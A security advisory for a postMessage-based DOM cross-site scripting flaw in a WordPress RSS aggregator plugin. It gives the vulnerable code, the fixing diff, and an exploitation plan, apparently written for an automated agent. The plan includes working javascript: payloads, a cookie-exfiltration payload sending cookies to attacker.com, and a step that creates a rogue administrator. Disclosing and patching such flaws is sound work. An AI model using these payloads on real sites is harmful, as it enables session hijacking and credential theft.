RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging <= 5.0.11 - Unauthenticated DOM-Based Reflected Cross-Site Scripting via postMessage
Description
The RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging plugin for WordPress is vulnerable to DOM-Based Cross-Site Scripting via postMessage in all versions up to, and including, 5.0.11. This is due to the plugin's admin-shell.js registering a global message event listener without origin validation (missing event.origin check) and directly passing user-controlled URLs to window.open() without URL scheme validation. This makes it possible for unauthenticated attackers to execute arbitrary JavaScript in the context of an authenticated administrator's session by tricking them into visiting a malicious website that sends crafted postMessage payloads to the plugin's admin page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=5.0.11What Changed in the Fix
Changes introduced in v5.0.12
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-2433 ## 1. Vulnerability Summary The **RSS Aggregator** plugin (versions <= 5.0.11) contains a DOM-based reflected Cross-Site Scripting (XSS) vulnerability. The vulnerability exists in the `core/js/admin-shell.js` file, which manages the plugin's administrati…
Show full research plan
Exploitation Research Plan - CVE-2026-2433
1. Vulnerability Summary
The RSS Aggregator plugin (versions <= 5.0.11) contains a DOM-based reflected Cross-Site Scripting (XSS) vulnerability. The vulnerability exists in the core/js/admin-shell.js file, which manages the plugin's administrative user interface. The script registers a global message event listener to facilitate communication between the main WordPress admin window (the "shell") and an internal iframe (the "frame").
The listener fails to validate the origin of incoming postMessage events and subsequently passes a user-controlled URL from the message payload directly into window.open(). Because window.open() accepts javascript: URIs and no scheme validation is performed, an attacker can execute arbitrary JavaScript in the context of the administrator's session.
2. Attack Vector Analysis
- Target Page:
/wp-admin/admin.php?page=wprss-aggregator - Vulnerable Script:
core/js/admin-shell.js(Enqueued aswpra-admin-shell) - Message Event Listener:
window.addEventListener("message", ...) - Trigger Message Type:
wpra:openUrl(defined asFrameMessage.openUrl) - Payload Parameter:
payload.url - Authentication Requirement: The victim must be an authenticated administrator capable of accessing the plugin's admin page.
- Precondition: The victim must be tricked into visiting a malicious website while their WordPress admin session is active.
3. Code Flow
- Listener Registration: In
core/js/admin-shell.js, theWpraAdminAppclass callsthis.frame.onReceive(FrameMessage.openUrl, ...)inside itslistenForMessages()method. - Generic Listener: The
onReceivemethod (in theAppFrameclass) registers the global listener:
Note: There is noonReceive(type, handler) { window.addEventListener("message", (event) => { const msg = event.data ?? {} if (typeof msg === "object" && (msg.type ?? "") === type) { handler(msg.payload) } }) }if (event.origin !== ...)check here. - Handler Execution: When a message with
type: "wpra:openUrl"is received, the handler inWpraAdminAppexecutes:this.frame.onReceive(FrameMessage.openUrl, (payload) => { // ... payload validation (checks if payload.url is string) if (payload.target) { window.open(payload.url, payload.target) // SINK } else { this.frame.navigate(payload.url, "openUrl") } return }) - Sink:
window.open(payload.url, payload.target)is called. Ifpayload.urlstarts withjavascript:, the browser executes the script in the context of the current window (especially ifpayload.targetis_selfor the name of the current window).
4. Nonce Acquisition Strategy
This vulnerability does not require a WordPress nonce.
The message event listener is registered globally on the window object immediately upon loading the /wp-admin/admin.php?page=wprss-aggregator page. It does not check for any tokens or nonces within the postMessage data before processing the wpra:openUrl request.
5. Exploitation Strategy
The goal is to demonstrate that an external site can force the WordPress admin page to execute JavaScript.
Step-by-Step Plan:
- Victim Login: The agent will log in as an administrator.
- Malicious Page Simulation: Since the agent cannot easily host an external site in the environment, it will simulate the "malicious site" by opening the vulnerable WordPress page in a new window/tab and then sending the
postMessage. - The Payload:
{ type: "wpra:openUrl", payload: { url: "javascript:window.wpra_xss_vulnerable = true; alert('XSS: ' + document.domain);", target: "_self" } }
Execution via http_request / browser_eval:
Instead of an external site, we will use browser_navigate to go to the vulnerable page and then use browser_eval to simulate a message arriving at that window.
- Navigate:
browser_navigate("http://localhost:8080/wp-admin/admin.php?page=wprss-aggregator") - Trigger:
window.postMessage({ type: "wpra:openUrl", payload: { url: "javascript:window.wpra_xss_vulnerable = true; console.log('XSS_SUCCESS');", target: "_self" } }, "*");
6. Test Data Setup
- Plugin Activation: Ensure
wp-rss-aggregatoris active. - User: An administrator user (e.g.,
admin/password). - No specific shortcodes or posts are required, as the script is enqueued on the main plugin settings page.
7. Expected Results
- The
window.openfunction will be called with thejavascript:URI. - The JavaScript inside the URI will execute in the context of the WordPress admin page.
- In the simulation,
window.wpra_xss_vulnerablewill becometrue.
8. Verification Steps
- Check Variable: Use
browser_eval("window.wpra_xss_vulnerable")to check if it returnstrue. - Console Logs: Check browser logs for the string
XSS_SUCCESS. - State Verification: Use the XSS to perform an action, such as creating a new administrator, then verify via WP-CLI:
wp user list --role=administrator
9. Alternative Approaches
If _self targeting is restricted by browser security policies in the test environment, use a payload that modifies the DOM or steals the cookie:
- Payload:
javascript:fetch('/wp-json/wp/v2/users/me').then(r=>r.json()).then(d=>document.body.innerHTML='HACKED: '+d.name) - This demonstrates the ability to interact with the WordPress REST API using the administrator's authenticated session.
Backup Payload (Cookie Exfiltration Simulation):
window.postMessage({
type: "wpra:openUrl",
payload: {
url: "javascript:document.location='http://attacker.com/?cookie='+btoa(document.cookie)",
target: "_self"
}
}, "*");
Summary
The RSS Aggregator plugin (up to version 5.0.11) is vulnerable to DOM-based reflected Cross-Site Scripting (XSS) due to a flaw in its admin-shell.js script. The script registers a message event listener that lacks origin validation and blindly processes a 'wpra:openUrl' event, passing a user-controlled URL directly into window.open() without sanitizing for the javascript: protocol.
Vulnerable Code
// core/js/admin-shell.js line 56 onReceive(type, handler) { window.addEventListener("message", (event) => { const msg = event.data ?? {} if (typeof msg === "object" && (msg.type ?? "") === type) { handler(msg.payload) } }) } --- // core/js/admin-shell.js line 142 // Open links in the main window this.frame.onReceive(FrameMessage.openUrl, (payload) => { if (typeof payload !== "object" || typeof payload.url !== "string") { console.error(FrameMessage.openUrl, "payload is missing url") return } if (payload.target) { window.open(payload.url, payload.target) } else { this.frame.navigate(payload.url, "openUrl") } return })
Security Fix
@@ -58,6 +58,10 @@ window.addEventListener("message", (event) => { const msg = event.data ?? {} if (typeof msg === "object" && (msg.type ?? "") === type) { + if (event.origin !== window.location.origin) { + console.warn("WPRA: Blocked message from unauthorized origin:", event.origin) + return + } handler(msg.payload) } }) @@ -149,6 +153,17 @@ return } + try { + const url = new URL(payload.url, window.location.origin) + if (!["http:", "https:"].includes(url.protocol)) { + console.warn(FrameMessage.openUrl, "Blocked potentially malicious URL:", payload.url) + return + } + } catch (e) { + console.warn(FrameMessage.openUrl, "Invalid URL:", payload.url) + return + } + if (payload.target) { window.open(payload.url, payload.target) } else {
Exploit Outline
To exploit this vulnerability, an attacker tricks an authenticated administrator into visiting a malicious website. This malicious site opens a new window or iframe pointing to the plugin's admin page at /wp-admin/admin.php?page=wprss-aggregator. Once the WordPress page is loaded, the malicious site sends a postMessage with the type 'wpra:openUrl'. The payload contains a 'url' property set to a 'javascript:' URI (e.g., javascript:alert(document.cookie)) and a 'target' property set to '_self'. Since admin-shell.js does not check if the message came from a trusted origin or if the URL protocol is safe, it calls window.open() with the attacker-supplied script, executing it in the context of the administrator's session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.